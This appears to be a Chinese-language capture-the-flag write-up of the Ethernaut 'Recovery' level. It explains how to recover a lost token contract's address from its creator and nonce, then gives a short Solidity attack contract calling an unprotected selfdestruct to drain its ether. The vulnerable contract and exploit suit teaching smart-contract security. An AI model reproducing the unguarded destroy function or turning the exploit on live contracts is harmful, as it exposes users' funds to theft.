地址恢复漏洞Recovery

122 阅读2分钟

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

分析:

Recovery合约是一个允许 msg.sender创建代币的工厂合约。发送者通过每次调用generateToken 来部署一个新的SimpleToken 合约。

一旦我们找到检索已部署的SimpleToken地址的方法,我们就可以调用destroy函数,该函数将执行一个selfdestruct(_to),将所有合约余额发送到_to地址。

以下是两种查找合约地址的方法,分别通过原始发件人和Etherscan。

方法一:计算合约地址

合同地址是确定性计算的。新帐户的地址被定义为仅包含发送方和帐户随机数的结构的 RLP 编码的 Keccak 哈希的最右边的 160 位。 表示此函数的更简单方法是:

address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))
  • sender address:是创建此新合约的合约或钱包地址
  • nonce:是从 OR 发送的交易数量,如果发送者是工厂合同, 则是此帐户创建的合同数量。 sender address``nonce
  • RLP:是数据结构上的编码器,是序列化以太坊中对象的默认编码器。
  • keccak:是一个加密原语,用于计算任何输入的以太坊-SHA-3 (Keccak-256) 哈希值。

重新创建(有待修改)

部署上的recovery工厂合约地址为 0xd9145CCE52D386f254917e481eB44e9943F39138
第一次部署地址的nonce为1

nonce 0 is always the smart contract’s own creation event

nonce 0始终是智能合约自己的创建事件。

20 字节地址的 RLP 编码为:0xd6,0x94。对于所有小于 0x7f 的整数,其编码只是它自己的字节值。因此,1 的 RLP 是0x01。

在remix里我们可以这样写: address public a = address(keccak256(0xd6, 0x94, YOUR_ADDR, 0x01));

方法2:使用以太扫描

从创建者那里获得新合约地址的一种尽管更快的方法是使用Etherscan。

image.png

  1. 打开浏览器,单击指向新合同的链接。Internal Txns
  2. 新合约地址现在应显示在左上角。

image.png

攻击合约

contract attack{
  SimpleToken token =SimpleToken(0x78BDf4FE94FDC3eB49D67332d5d90cc752757673);
   function att()public{
     token.destroy(payable(msg.sender));
   }
}